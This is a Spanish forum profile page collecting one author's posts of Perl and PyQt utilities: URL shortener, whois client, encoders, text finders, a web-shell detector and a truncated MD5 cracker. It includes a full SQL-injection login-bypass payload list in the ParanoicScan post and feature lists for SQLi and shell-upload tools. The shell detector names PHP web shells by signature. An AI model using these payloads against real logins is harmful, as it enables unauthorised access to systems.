Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Temas - BigBear

#241
Python / [PyQT4] URL Shorter 0.2
Agosto 27, 2012, 12:30:03 PM
Explotando mi limitado tiempo al pedo decidi aprovecharme nuevamente de la API de la pagina You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login para hacer una nueva version de este simple script.

Una imagen de como quedo



El codigo

Código: python

#!usr/bin/python
#URL Shorter 0.2
#Coded By Doddy H

import sys,urllib2,re
from PyQt4 import QtCore,QtGui

def toma(web) :
nave = urllib2.Request(web)
nave.add_header('User-Agent','Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.5) Gecko/2008120122 Firefox/3.0.5');
op = urllib2.build_opener()
return op.open(nave).read()

def cortar():
new.resul.setText(toma("http://tinyurl.com/api-create.php?url="+str(new.url.text())))

app = QtGui.QApplication(sys.argv)

new = QtGui.QWidget()

new.setWindowTitle("URL Shorter 0.2 || Coded By Doddy H")
new.resize(350,150)
new.setStyleSheet("QWidget {background-color: #000000;color: #FFFF00}")

new.label1 = QtGui.QLabel("URL : ",new)
new.label1.setStyleSheet("QWidget {background-color: #000000;color: #FFFF00;font: normal 17px Verdana}")
new.label1.setGeometry(20,23,80,20)

new.url = QtGui.QLineEdit(new)
new.url.setStyleSheet("QWidget {background-color: #000000; color: #FFFF00;border: 2px solid #FFFF00}")
new.url.setGeometry(75,23,247,25)

new.label2 = QtGui.QLabel("Result : ",new)
new.label2.setStyleSheet("QWidget {background-color: #000000;color: #FFFF00;font: normal 17px Verdana}")
new.label2.setGeometry(20,60,80,20)

new.resul = QtGui.QLineEdit(new)
new.resul.setStyleSheet("QWidget {background-color: #000000; color: #FFFF00;border: 2px solid #FFFF00}")
new.resul.setGeometry(95,60,230,25)

new.search = QtGui.QPushButton("Short",new)
new.search.setGeometry(90,110,170,28)
new.search.setStyleSheet("QWidget {background-color: #000000; color: #FFFF00;border: 2px solid #FFFF00}")

new.connect(new.search,QtCore.SIGNAL("clicked()"),cortar)

new.show()

sys.exit(app.exec_())

# The End ?
#242
Python / [PyQT4] Whois Online 0.2
Agosto 26, 2012, 07:26:51 PM
Queria hacer mi primer programa en PyQT4 y quise empezar con este simple cliente whois.

Una imagen de como quedo



El codigo

Código: python

#!usr/bin/python
#Whois Online 0.2
#Coded By Doddy H

import sys,urllib2,re
from PyQt4 import QtCore,QtGui

nave = urllib2.build_opener()
nave.add_header = [('User-Agent','Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.5) Gecko/2008120122 Firefox/3.0.5')]

def tomar(web,vars) :
return nave.open(web,vars).read()

def whois(domain):
try:
  code = tomar("http://networking.ringofsaturn.com/Tools/whois.php","domain="+domain+"&"+"submit=submit")
  if (re.findall("<PRE>(.*?)<\/PRE>",code,re.S)):
   found = re.findall("<PRE>(.*?)<\/PRE>",code,re.S)
   resul = found[0]
   resul = re.sub("&quot;","",resul)
   resul = re.sub("&gt;&gt;&gt;","",resul)
   resul = re.sub("&lt;&lt;&lt;","",resul)
   return resul
  else:
   return "Not Found"
except:
  print "[-] Page offline\n"

def comando():

new.console.clear()
new.console.appendPlainText(whois(str(new.dom.text())))

app = QtGui.QApplication(sys.argv)

new = QtGui.QWidget()

new.setWindowTitle("Whois Online 0.2 || Coded By Doddy H")
new.resize(450,420)
new.setStyleSheet("QWidget {background-color: #000000;color: #00FF00}")

new.label1 = QtGui.QLabel("Domain : ",new)
new.label1.setStyleSheet("QWidget {background-color: #000000;color: #00FF00;font: normal 17px Verdana}")
new.label1.setGeometry(20,23,80,20)

new.dom = QtGui.QLineEdit(new)
new.dom.setStyleSheet("QWidget {background-color: #000000; color: #00FF00;border: 2px solid #00FF00}")
new.dom.setGeometry(95,23,200,25)

new.search = QtGui.QPushButton("Search",new)
new.search.setGeometry(310,22,110,28)
new.search.setStyleSheet("QWidget {background-color: #000000; color: #00FF00;border: 2px solid #00FF00}")

new.label2 = QtGui.QLabel("Console",new)
new.label2.setStyleSheet("QWidget {background-color: #000000;color: #00FF00;font: normal 17px Verdana}")
new.label2.setGeometry(200,70,70,20)

new.console = QtGui.QPlainTextEdit(new)
new.console.setGeometry(50,100,350,300)
new.console.setStyleSheet("QWidget {background-color: #000000; color: #00FF00;border: 2px solid #00FF00}")

new.connect(new.search,QtCore.SIGNAL("clicked()"),comando)

new.show()

sys.exit(app.exec_())

# The End ?
#243
Perl / [Perl] Project STALKER 1.0
Agosto 25, 2012, 11:54:57 AM
Nueva y posiblemente la ultima version de esta consola para usar en los cybers.

Los comandos son

  • cmd_getip <host>
  • cmd_getlink <page>
  • cmd_getprocess
  • cmd_killprocess <pid process>
  • cmd_conec <host> <port> <command>
  • cmd_allow <host>
  • cmd_paths <page>
  • cmd_encodehex <text>
  • cmd_decodehex <text>
  • cmd_encodeascii <text>
  • cmd_decodeascii <text>
  • cmd_encodebase <text>
  • cmd_decodebase <text>
  • cmd_scanport <host>
  • cmd_panel <page>
  • cmd_getpass <hash>
  • cmd_kobra <page>
  • cmd_ftp <host> <user> <pass>
  • cmd_mysql <host> <user> <pass>
  • cmd_locate <ip>
  • cmd_whois <dom>
  • cmd_navegator
  • cmd_scangoogle
  • cmd_help
  • cmd_exit

    Tambien se pueden usar los comandos normales.

    Una imagen



    El codigo esta You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login.
#244
Perl / [Perl] Project ParanoicScan 1.0
Agosto 04, 2012, 11:01:58 AM
Hoy les traigo un programa con las siguientes opciones :

[+++] Opciones
[++] Google & Bing Scanner
  • XSS
  • SQL GET/POST
  • SQL GET
  • SQL GET + Admin
  • Directory listing
  • MSSQL
  • Jet Database
  • Oracle
  • LFI
  • RFI
  • Full Source Discloure
  • HTTP Information
    [++] SQLi Scanner
    [++] Bypass Admin
    [++] FSD Exploit Manager
    [++] Paths Finder
    [++] Locate IP
    [++] Crack MD5
    [++] Panel Finder
    [++] Console

    El programa depende de un archivo de texto llamado bypass.txt

    El contenido es el siguiente

    Código: text

    admin'--
    'or'1'='1
    'or'
    ' OR ' '='
    ' or 0=0 --
    " or 0=0 --
    or 0=0 --
    ' or 0=0 #
    " or 0=0 #
    or 0=0 #
    ' or 'x'='x
    " or "x"="x
    ') or ('x'='x
    ' or 1=1--
    " or 1=1--
    or 1=1--
    ' or a=a--
    " or "a"="a
    ') or ('a'='a
    ") or ("a"="a
    hi" or "a"="a
    hi" or 1=1 --
    hi' or 1=1 --
    hi' or 'a'='a
    hi') or ('a'='a
    hi") or ("a"="a
    - ' or 'x'='x
    - ' or 'x'='x
    'or'1 ou 'or''='
    ' or 'x'='x
    admin' or 1==1
    ' OR "='
    'or'1'='1


    Una imagen



    El codigo lo pueden encontrar You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login
#245
Perl / [Perl Tk] Project Arsenal X
Julio 21, 2012, 12:23:24 PM
Hace tiempo que queria hacer un programa parecido al famoso juego Hackthegame , intente hacer un programa con un diseño parecido y algunas de sus funciones.
Las opciones que el programa tiene son :

  • Gmail Inbox
  • Client Whois
  • Ping
  • Downloader
  • GetIP
  • LocateIP
  • K0bra SQLI Scanner
  • GetPass
  • PanelControl
  • PortScanner
  • Multi Cracker
  • Ejecucion de comandos en la consola

    Una imagen



    El codigo esta You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login.
#246
Perl / [Perl Tk] Kobra 1.6
Julio 14, 2012, 01:21:08 PM
Nueva version Tk de este scanner SQLI.

Una imagen



El codigo lo puede ver You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login
#247
Perl / [Perl] K0bra 1.6
Julio 14, 2012, 01:20:48 PM
Nueva version de este scanner SQLI.

Las opciones son

  • Comprobar vulnerabilidad
  • Buscar numero de columnas
  • Buscar automaticamente el numero para mostrar datos
  • Mostras tablas
  • Mostrar columnas
  • Mostrar bases de datos
  • Mostrar tablas de otra DB
  • Mostrar columnas de una tabla de otra DB
  • Brutear tablas y columnas
  • Mostrar usuarios de mysql.user
  • Buscar archivos usando load_file
  • Mostrar un archivo usando load_file
  • Mostrar valores
  • Mostrar informacion sobre la DB
  • Crear una shell usando outfile
  • Todo se guarda en logs ordenados
  • Mejor manejo de control+c
  • Codigo identado (gracias a perltidy)

    El codigo lo pueden ver You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login
#248
Perl / [Perl Tk] Codificator 0.2
Julio 07, 2012, 11:02:59 AM
Version Tk de este codificador.

Una imagen



El codigo

Código: perl

#!usr/bin/perl
#Codificator 0.2
#Version Tk
#Coded By Doddy H

use Tk;
use Tk::Dialog;
use Digest::MD5;
use Digest::SHA1;
use MIME::Base64;
use URI::Escape;

if ( $^O eq 'MSWin32' ) {
    use Win32::Console;
    Win32::Console::Free();
}

$header = "This tool encode text in :

Hex
SHA1
MD5
Base64
ASCII
URL


";

my $color_fondo = "black", my $color_texto = "white";

$window = MainWindow->new( -background => "black", -foreground => "white" );
$window->geometry("380x370+80+80");
$window->title("Codificator 0.2 || Coded By Doddy H");
$window->resizable( 0, 0 );

$menula = $window->Frame(
    -relief     => "sunken",
    -bd         => 1,
    -background => $color_fondo,
    -foreground => $color_texto
);
my $menulnowaxm = $menula->Menubutton(
    -text             => "Options",
    -underline        => 1,
    -background       => $color_fondo,
    -foreground       => $color_texto,
    -activebackground => $color_texto
)->pack( -side => "left" );
my $aboutnowaxm = $menula->Menubutton(
    -text             => "About",
    -underline        => 1,
    -background       => $color_fondo,
    -foreground       => $color_texto,
    -activebackground => $color_texto
)->pack( -side => "left" );
my $exitnowaxm = $menula->Menubutton(
    -text             => "Exit",
    -underline        => 1,
    -background       => $color_fondo,
    -foreground       => $color_texto,
    -activebackground => $color_texto
)->pack( -side => "left" );
$menula->pack( -side => "top", -fill => "x" );

$menulnowaxm->command(
    -label      => "Encode",
    -background => $color_fondo,
    -foreground => $color_texto,
    -command    => \&encode
);
$menulnowaxm->command(
    -label      => "Decode",
    -background => $color_fondo,
    -foreground => $color_texto,
    -command    => \&decode
);
$menulnowaxm->command(
    -label      => "Clean",
    -background => $color_fondo,
    -foreground => $color_texto,
    -command    => \&clear
);

$aboutnowaxm->command(
    -label      => "About",
    -background => $color_fondo,
    -foreground => $color_texto,
    -command    => \&about
);

$exitnowaxm->command(
    -label      => "Exit",
    -background => $color_fondo,
    -foreground => $color_texto,
    -command    => \&exitnow
);

$window->Label(
    -font       => "Impact",
    -background => $color_fondo,
    -foreground => $color_texto,
    -text       => "Options : "
)->place( -x => 110, -y => 53 );
$window->Optionmenu(
    -background       => $color_fondo,
    -foreground       => $color_texto,
    -activebackground => $color_texto,
    -options          => [
        [ HEX    => HEX ],
        [ ASCII  => ASCII ],
        [ BASE64 => BASE64 ],
        [ MD5    => MD5 ],
        [ SHA1   => SHA1 ],
        [ URL    => URL ]
    ],
    -variable     => \$var,
    -textvariable => \$codificacion
)->place( -x => 180, -y => 53 );

my $rot = $window->Text(
    -background => $color_fondo,
    -foreground => $color_texto,
    -width      => 45,
    -height     => 15
)->place( -x => 30, -y => 120 );
$rot->insert( 'end', $header );

MainLoop;

sub about {
    $window->Dialog(
        -title            => "About",
        -buttons          => ["OK"],
        -text             => "Coded By Doddy H",
        -background       => $color_fondo,
        -foreground       => $color_texto,
        -activebackground => $color_texto
    )->Show();
}

sub exitnow {
    exit 1;
}

sub clear {
    $rot->delete( '0.1', 'end' );
}

sub encode {
    $text = $rot->get( "1.0", "end" );
    chomp $text;
    &clear;
    if ( $codificacion eq "HEX" ) {
        $result = hexar($text);
        $rot->insert( 'end', $result );
        print $result;
    }

    elsif ( $codificacion eq "SHA1" ) {
        $sha1 = Digest::SHA1->new->add($text);
        my $digest = $sha1->digest;
        $rot->insert( 'end', $digest );
    }
    elsif ( $codificacion eq "BASE64" ) {
        $result = encode_base64($text);
        $rot->insert( 'end', $result );
    }
    elsif ( $codificacion eq "URL" ) {
        my $codec = Badger::Codec::URL->new();
        my $ya    = $codec->encode($text);
        $rot->insert( 'end', $ya );
    }
    elsif ( $codificacion eq "ASCII" ) {
        $result = ascii($text);
        $rot->insert( 'end', $result );
    }
    elsif ( $codificacion eq "MD5" ) {
        $digest = Digest::MD5->md5_hex($text);
        $rot->insert( 'end', $digest );
    }
    else {
        $window->messageBox( -message => "What?!\n" );
    }
}

sub decode {
    $text = $rot->get( "1.0", "end" );
    chomp $text;
    &clear;
    if ( $codificacion eq "HEX" ) {
        $result = decodera($text);
        $rot->insert( 'end', $result );
    }

    elsif ( $codificacion eq "SHA1" ) {
        $window->messageBox( -message =>
              "What?! , it's not possible with a function decoded\n" );
    }
    elsif ( $codificacion eq "BASE64" ) {
        $result = decode_base64($text);
        $rot->insert( 'end', $result );
    }
    elsif ( $codificacion eq "URL" ) {
        my $codec = Badger::Codec::URL->new();
        my $ya    = $codec->decode($text);
        $rot->insert( 'end', $ya );
    }
    elsif ( $codificacion eq "ASCII" ) {
        $result = ascii_de($text);
        $rot->insert( 'end', $result );
    }
    elsif ( $codificacion eq "MD5" ) {
        $window->messageBox( -message =>
              "What?! , it's not possible with a function decoded\n" );
    }
    else {
        $window->messageBox( -message => "What?!\n" );
    }
}

sub hexar {
    my $string = $_[0];
    $hex = '0x';
    for ( split //, $string ) {
        $hex .= sprintf "%x", ord;
    }
    return $hex;
}

sub ascii {
    return join ',', unpack "U*", $_[0];
}

sub decodera {
    $_[0] =~ s/^0x//;
    $encode = join q[], map { chr hex } $_[0] =~ /../g;
    return $encode;
}

sub ascii_de {
    $_[0] = join q[], map { chr } split q[,], $_[0];
    return $_[0];
}

# The End ?
#249
Perl / [Perl] Codificator 0.2
Julio 07, 2012, 11:02:45 AM
Nueva version de este script para codificar y decodificar en :

  • Hex
  • SHA1
  • MD5 (solo encode)
  • Base64
  • ASCII
  • URL

    El codigo

    Código: perl

    #!usr/bin/perl
    #Codificator 0.2
    #Coded By Doddy H
    #This tool encode in :
    #
    #Hex
    #MD5
    #Base64
    #ASCII
    #URL
    #
    #

    use Digest::MD5;
    use Digest::SHA1;
    use MIME::Base64;
    use URI::Escape;

    sub head {
        clean();
        print q(



      @@@            @ @   @ @             @           
    @   @           @    @                @           
    @       @@@   @@ @ @ @@@ @  @@@   @@@ @@@  @@@  @ @
    @      @   @ @  @@ @  @  @ @   @ @   @ @  @   @ @@
    @      @   @ @   @ @  @  @ @      @@@@ @  @   @ @ 
    @      @   @ @   @ @  @  @ @     @   @ @  @   @ @ 
    @   @ @   @ @  @@ @  @  @ @   @ @  @@ @  @   @ @ 
      @@@   @@@   @@ @ @  @  @  @@@   @@ @ @@  @@@  @ 



    );
    }

    head();
    print "\n[+] Options\n\n";
    print q(
    1 - MD5 encode
    2 - Base64 encode
    3 - Base64 decode
    4 - Ascii encode
    5 - Ascii decode
    6 - Hex encode
    7 - Hex decode
    8 - URL encode
    9 - URL decode
    10 - Exit

    );
    while (true) {
        print "\n\n[+] Option : ";
        chomp( my $op = <stdin> );
        print "\n\n";
        if ( $op eq 1 ) {
            print "[+] String : ";
            chomp( my $string = <stdin> );
            print "\n\n[+] MD5 : " . Digest::MD5->md5_hex($string) . "\n\n";
        }
        elsif ( $op eq 2 ) {
            print "[+] String : ";
            chomp( my $string = <stdin> );
            print "\n\n[+] Base64 : " . encode_base64($string);
        }
        elsif ( $op eq 3 ) {
            print "[+] String : ";
            chomp( my $string = <stdin> );
            print "\n\n[+] Base64 Decode : " . decode_base64($string) . "\n";
        }
        elsif ( $op eq 4 ) {
            print "[+] String : ";
            chomp( my $string = <stdin> );
            print "\n\n[+] Ascii : " . join ',', unpack "U*", $string;
            print "\n";
        }
        elsif ( $op eq 5 ) {
            print "[+] String : ";
            chomp( my $string = <stdin> );
            print "\n\n[+] Ascii decode : " . join q[], map { chr } split q[,],
              $string . "\n";
            print "\n";
        }
        elsif ( $op eq 6 ) {
            print "[+] String : ";
            chomp( my $string = <stdin> );
            $hex = "0x";
            for ( split //, $string ) {
                $hex .= sprintf "%x", ord;
            }
            print "\n\n[+] Hex : " . $hex . "\n";
        }
        elsif ( $op eq 7 ) {
            print "[+] String : ";
            chomp( my $string = <stdin> );
            $string =~ s/^0x//;
            $encode = join q[], map { chr hex } $string =~ /../g;
            print "\n\n[+] Hex decode : " . $encode . "\n";
        }
        elsif ( $op eq 8 ) {
            print "[+] String : ";
            chomp( my $string = <stdin> );
            print "\n\n[+] URL Encode : " . uri_escape($string) . "\n";
        }
        elsif ( $op eq 9 ) {
            print "[+] String : ";
            chomp( my $string = <stdin> );
            print "\n\n[+] URL Decode : " . uri_unescape($string) . "\n";
        }
        elsif ( $op eq 10 ) {
            copyright();
            exit(1);
        }
        else {
            print "[+] Write good stupid !\n";
        }
    }

    sub clean {
        my $os = $^O;
        if ( $os =~ /Win32/ig ) {
            system("cls");
        }
        else {
            system("clear");
        }
    }

    sub copyright {
        print "\n-- == Doddy Hackman 2012 == --\n\n";
        <stdin>;
        exit(1);
    }

    # The End ?

#250
Perl / [Perl Tk] Destroyer Shells 0.4
Junio 29, 2012, 08:35:42 PM
Version Tk de un script para buscar y borrar phpshells.

Una imagen



El codigo

Código: perl

#!usr/bin/perl
#DestroyerShells 0.4
#Version Tk
#Coded By Doddy H

use Tk;
use Tk::Dialog;
use LWP::UserAgent;
use File::Find;

my @nombres = (
    "C99Shell",
    "r57shell",
    "DxShell",
    "HiddenShell",
    "~ Andr3a92 ~ Sh3ll ~",
    "CShell",
    "Dark Shell",
    "GsC SheLL",
    "N3fa5t1cA Sh3ll",
    "ONBOOMSHELL",
    "StAkeR ~ Shell",
    "MoDDeD By KinG-InFeT",
    "31337 Shel"
);
my @founds;

#if ($^O eq 'MSWin32') {
#use Win32::Console;
#Win32::Console::Free();
#}

my $color_texto = "orange";
my $color_fondo = "black";

my $newdaxz =
  MainWindow->new( -background => $color_fondo, -foreground => $color_texto );

$newdaxz->title("DestroyerShells 0.4 || Coded By Doddy H");
$newdaxz->geometry("345x350+50+50");
$newdaxz->resizable( 0, 0 );

$menula = $newdaxz->Frame(
    -relief     => "sunken",
    -bd         => 1,
    -background => $color_fondo,
    -foreground => $color_texto
);
my $menulnowaxm = $menula->Menubutton(
    -text             => "Options",
    -underline        => 1,
    -background       => $color_fondo,
    -foreground       => $color_texto,
    -activebackground => $color_texto
)->pack( -side => "left" );
my $aboutnowaxm = $menula->Menubutton(
    -text             => "About",
    -underline        => 1,
    -background       => $color_fondo,
    -foreground       => $color_texto,
    -activebackground => $color_texto
)->pack( -side => "left" );
my $exitnowaxm = $menula->Menubutton(
    -text             => "Exit",
    -underline        => 1,
    -background       => $color_fondo,
    -foreground       => $color_texto,
    -activebackground => $color_texto
)->pack( -side => "left" );
$menula->pack( -side => "top", -fill => "x" );

$menulnowaxm->command(
    -label      => "Scan",
    -background => $color_fondo,
    -foreground => $color_texto,
    -command    => \&scan
);
$menulnowaxm->command(
    -label      => "Delete Shells",
    -background => $color_fondo,
    -foreground => $color_texto,
    -command    => \&delnow
);

$aboutnowaxm->command(
    -label      => "About",
    -background => $color_fondo,
    -foreground => $color_texto,
    -command    => \&aboutxa
);

$exitnowaxm->command(
    -label      => "Exit",
    -background => $color_fondo,
    -foreground => $color_texto,
    -command    => \&exitnow
);

$newdaxz->Label(
    -text       => "Directory : ",
    -font       => "Impact",
    -background => $color_fondo,
    -foreground => $color_texto
)->place( -x => 20, -y => 40 );
my $dir = $newdaxz->Entry(
    -text       => "C:/xampp/htdocs",
    -width      => 37,
    -background => $color_fondo,
    -foreground => $color_texto
)->place( -x => 95, -y => 45 );

$newdaxz->Label(
    -text       => "Shells Founds",
    -font       => "Impact",
    -background => $color_fondo,
    -foreground => $color_texto
)->place( -x => 120, -y => 80 );
my $files = $newdaxz->Listbox(
    -width      => 40,
    -height     => 10,
    -background => $color_fondo,
    -foreground => $color_texto
)->place( -x => 50, -y => 130 );

$newdaxz->Label(
    -text       => "Status : ",
    -font       => "Impact",
    -background => $color_fondo,
    -foreground => $color_texto
)->place( -x => 63, -y => 300 );
my $tatus = $newdaxz->Entry(
    -width      => 25,
    -background => $color_fondo,
    -foreground => $color_texto
)->place( -x => 120, -y => 305 );

MainLoop;

sub delnow {

    my $total = $files->size - 1;

    for my $number ( 0 .. $total ) {
        my $ruta = $files->get($number);
        unlink($ruta);
    }
    $files->delete( "0.0", "end" );
}

sub scan {

    $files->delete( "0.0", "end" );
    my $dir = $dir->get;

    find( \&finder, $dir );

    sub finder {
        my $file = $_;
        if ( -f $file ) {
            if ( $file =~ /\.txt$/ or $file =~ /\.php$/ ) {
                my $abrir = $File::Find::name;

                $tatus->configure( -text => $abrir );

                open( FILE, $abrir );
                my $words = join q(), <FILE>;
                close(FILE);

                for my $rastro (@nombres) {
                    $newdaxz->update;
                    chomp $rastro;
                    if ( $words =~ /$rastro/ig ) {
                        $files->insert( "end", $abrir );
                    }
                }
            }
        }
    }
    $tatus->configure( -text => " " );
}

sub aboutxa {
    $newdaxz->Dialog(
        -title            => "About",
        -buttons          => ["OK"],
        -text             => "Coded By Doddy H",
        -background       => $color_fondo,
        -foreground       => $color_texto,
        -activebackground => $color_texto
    )->Show();
}

sub exitnow {
    exit 1;
}

#The End ?
#251
Perl / [Perl] Destroyer Shells 0.4
Junio 29, 2012, 08:35:16 PM
Version mejorada de este script para buscar y borrar shells.

Código: perl

#!usr/bin/perl
#DestroyerShells 0.4
#Coded By Doddy H

use File::Find;

my @nombres = (
    "C99Shell",
    "r57shell",
    "DxShell",
    "HiddenShell",
    "~ Andr3a92 ~ Sh3ll ~",
    "CShell",
    "Dark Shell",
    "GsC SheLL",
    "N3fa5t1cA Sh3ll",
    "ONBOOMSHELL",
    "StAkeR ~ Shell",
    "MoDDeD By KinG-InFeT",
    "31337 Shel"
);
my @founds;

head();
print "\n[+] Directory : ";
chomp( my $dir = <stdin> );
start($dir);
copyright();

sub start {
    my $dir = shift;
    print "\n\n[+] Searching in directory $dir\n\n";

    find( \&finder, $dir );

    sub finder {
        my $file = $_;
        if ( -f $file ) {
            if ( $file =~ /\.txt$/ or $file =~ /\.php$/ ) {
                my $abrir = $File::Find::name;

                open( FILE, $abrir );
                my $words = join q(), <FILE>;
                close(FILE);

                for my $rastro (@nombres) {
                    chomp $rastro;
                    if ( $words =~ /$rastro/ig ) {
                        push( @founds, $abrir );
                    }
                }
            }
        }
    }

    my @founda = repes(@founds);

    print "[+] Number of files found : " . int(@founda) . "\n\n";

    if ( int(@founda) ne "0" ) {
        for (@founda) {
            print "[+] File Found : $_\n";
        }

        print "\n[+] Delete files y/n : ";
        chomp( my $op = <stdin> );

        if ( $op =~ /y/ig ) {
            for (@founda) { unlink($_); }
            print "\n[+] Files Deleted\n";
        }
        elsif ( $op =~ /n/ig ) {
            print "\n[+] Good Bye\n";
        }
        else {
            print "\n[+] Write good stupid\n";
        }
    }
}

sub repes {
    foreach $test (@_) {
        push @limpio, $test unless $repe{$test}++;
    }
    return @limpio;
}

sub head {
    print qq(


@@@@                                             @@@   @           @ @     
@   @              @                            @   @  @           @ @     
@    @             @                            @      @           @ @     
@    @   @@@   @@  @@ @@  @@@  @  @  @@@  @@    @      @ @@   @@@  @ @  @@
@    @  @   @ @  @ @  @  @   @ @  @ @   @ @      @@@   @@  @ @   @ @ @ @  @
@    @  @@@@@  @   @  @  @   @ @  @ @@@@@ @         @  @   @ @@@@@ @ @  @ 
@    @  @       @  @  @  @   @ @  @ @     @         @  @   @ @     @ @   @
@   @   @   @ @  @ @  @  @   @  @@  @   @ @     @   @  @   @ @   @ @ @ @  @
@@@@     @@@   @@   @ @   @@@   @    @@@  @      @@@   @   @  @@@  @ @  @@
                                 @                                         
                               @@                                           



);
}

sub copyright {
    print "\n\n-- == Doddy Hackman 2012 == --\n\n";
    <stdin>;
    exit(1);
}

# The End ?
#252
¿Que memoria ram es mejor DDR2 de 3 GB o DDR3 de 2 GB?
#253
Perl / [Perl Tk] Finder Text 0.2
Junio 23, 2012, 01:10:52 PM
Version Tk de un programa para buscar patrones en cualquier directorio.

Una imagen



El codigo

Código: perl

#!usr/bin/perl
#Finder Text 0.2
#Version Tk
#Coded By Doddy H

use Tk;

my $color_fondo = "black";
my $color_texto = "green";

#if ($^O eq 'MSWin32') {
#use Win32::Console;
#Win32::Console::Free();
#}

my $vent =
  MainWindow->new( -background => $color_fondo, -foreground => $color_texto );
$vent->title("Finder Text 0.2 (C) Doddy Hackman 2012");
$vent->geometry("395x440+20+20");
$vent->resizable( 0, 0 );

$vent->Label(
    -text       => "Directory : ",
    -font       => "Impact1",
    -background => $color_fondo,
    -foreground => $color_texto
)->place( -x => 20, -y => 20 );
my $dir = $vent->Entry(
    -width      => 40,
    -background => $color_fondo,
    -foreground => $color_texto
)->place( -x => 100, -y => 23 );

$vent->Label(
    -text       => "String : ",
    -font       => "Impact1",
    -background => $color_fondo,
    -foreground => $color_texto
)->place( -x => 20, -y => 50 );
my $string = $vent->Entry(
    -width      => 30,
    -background => $color_fondo,
    -foreground => $color_texto
)->place( -x => 80, -y => 53 );

$vent->Button(
    -text             => "Find",
    -command          => \&now,
    -width            => 11,
    -background       => $color_fondo,
    -foreground       => $color_texto,
    -activebackground => $color_texto
)->place( -x => 271, -y => 53 );

$vent->Label(
    -text       => "Files Found",
    -font       => "Impact",
    -background => $color_fondo,
    -foreground => $color_texto
)->place( -x => 150, -y => 100 );
my $listas = $vent->Listbox(
    -width      => 50,
    -height     => 15,
    -background => $color_fondo,
    -foreground => $color_texto
)->place( -x => 45, -y => 150 );

$vent->Label(
    -text       => "Status : ",
    -font       => "Impact1",
    -background => $color_fondo,
    -foreground => $color_texto
)->place( -x => 70, -y => 390 );
my $tatus = $vent->Entry(
    -width      => 30,
    -background => $color_fondo,
    -foreground => $color_texto
)->place( -x => 130, -y => 393 );

$listas->bind( "<Double-1>", [ \&loader ] );

MainLoop;

sub loader {
    $listasx = $listas->curselection();
    for my $id (@$listasx) {
        my $linkar = $listas->get($id);
        system("$linkar");
    }
}

sub now {
    $listas->delete( "0.0", "end" );
    goodbye( $dir->get, $string->get );
    $tatus->configure( -text => " " );
}

sub verificar {

    my ( $file, $text ) = @_;
    my $numero_linea = 0;

    open( FILE, $file );
    my @words = <FILE>;
    close FILE;

    chomp @words;

    for my $linea (@words) {
        chomp $linea;
        $numero_linea++;
        if ( $linea =~ /$text/ ) {
            $listas->insert( "end", $file );
        }
    }
}

sub goodbye {
    opendir DIR, $_[0];
    my @archivos = readdir DIR;
    close DIR;

    for (@archivos) {
        next if $_ eq "." or $_ eq "..";
        my $fichero = $_[0] . "/" . $_;

        if ( -f $fichero ) {
            $vent->update;
            $tatus->configure( -text => $fichero );
            verificar( $fichero, $_[1] );
        }

        if ( -d $fichero ) {
            &goodbye( $fichero, $_[1] );
        }
    }
}

#The End ?

#254
Perl / [Perl] Finder Text 0.2
Junio 23, 2012, 01:10:03 PM
Simple script para buscar patrones en cualquier directorio.

Código: perl

#!usr/bin/perl
#FinderText 0.2
#Coded by Doddy H

head();
print "[+] Directory : ";
chomp( my $dir = <stdin> );
print "\n[+] String : ";
chomp( my $string = <stdin> );
print "\n[+] Searching text\n\n";
goodbye( $dir, $string );
copyright();

sub verificar {

    my ( $file, $text ) = @_;
    my $numero_linea = 0;

    open( FILE, $file );
    my @words = <FILE>;
    close FILE;

    chomp @words;

    for my $linea (@words) {
        chomp $linea;
        $numero_linea++;
        if ( $linea =~ /$text/ ) {
            print "[+] Text $text Found in file $file in line $numero_linea\n";
        }
    }
}

sub goodbye {
    opendir DIR, $_[0];
    my @archivos = readdir DIR;
    close DIR;

    for (@archivos) {
        next if $_ eq "." or $_ eq "..";
        my $fichero = $_[0] . "/" . $_;

        if ( -f $fichero ) {
            verificar( $fichero, $_[1] );
        }

        if ( -d $fichero ) {
            &goodbye( $fichero, $_[1] );
        }
    }
}

sub head {

    print qq(


@@@@@ @           @             @@@@@               
@                 @               @               @
@                 @               @               @
@     @ @ @@   @@@@  @@@  @@      @     @@@  @  @ @@
@@@@  @ @@  @ @   @ @   @ @       @    @   @ @  @ @
@     @ @   @ @   @ @@@@@ @       @    @@@@@  @@  @
@     @ @   @ @   @ @     @       @    @      @@  @
@     @ @   @ @   @ @   @ @       @    @   @ @  @ @
@     @ @   @  @@@@  @@@  @       @     @@@  @  @  @



);

}

sub copyright {
    print "\n\n-- == Doddy Hackman 2012 == --\n\n";
    <stdin>;
    exit(1);
}

# The End ?
#255
Perl / [Perl Tk] MD5 Crack 0.2
Junio 16, 2012, 03:23:50 PM
Version Tk de un programa para crackear un hash MD5

Una imagen



Y el codigo

Código: perl

#!usr/bin/perl
#MD5 Crack 0.2
#Version Tk
#Coded By Doddy H
#Test with
#098f6bcd4621d373cade4e832627b4f6 : test
#cc03e747a6afbbcbf8be7668acfebee5 : test.123
#1943b8b39ca8df2919faff021e0aca98 : testar
#177dac170d586383bcc889602b2bb788 : testar.123

use Tk;
use Tk::Dialog;
use Tk::FileSelect;
use Cwd;
use Digest::MD5 qw(md5_hex);

#if ($^O eq 'MSWin32') {
#use Win32::Console;
#Win32::Console::Free();
#}

my $color_texto = "yellow";
my $color_fondo = "black";

my $kak =
  MainWindow->new( -background => $color_fondo, -foreground => $color_texto );

$kak->title("MD5 Crack T00l 0.2");
$kak->geometry("300x410+50+50");
$kak->resizable( 0, 0 );

$menulax = $kak->Frame(
    -relief     => "sunken",
    -bd         => 1,
    -background => $color_fondo,
    -foreground => $color_texto
);
my $menulnowaxmu = $menulax->Menubutton(
    -text             => "Options",
    -underline        => 1,
    -background       => $color_fondo,
    -foreground       => $color_texto,
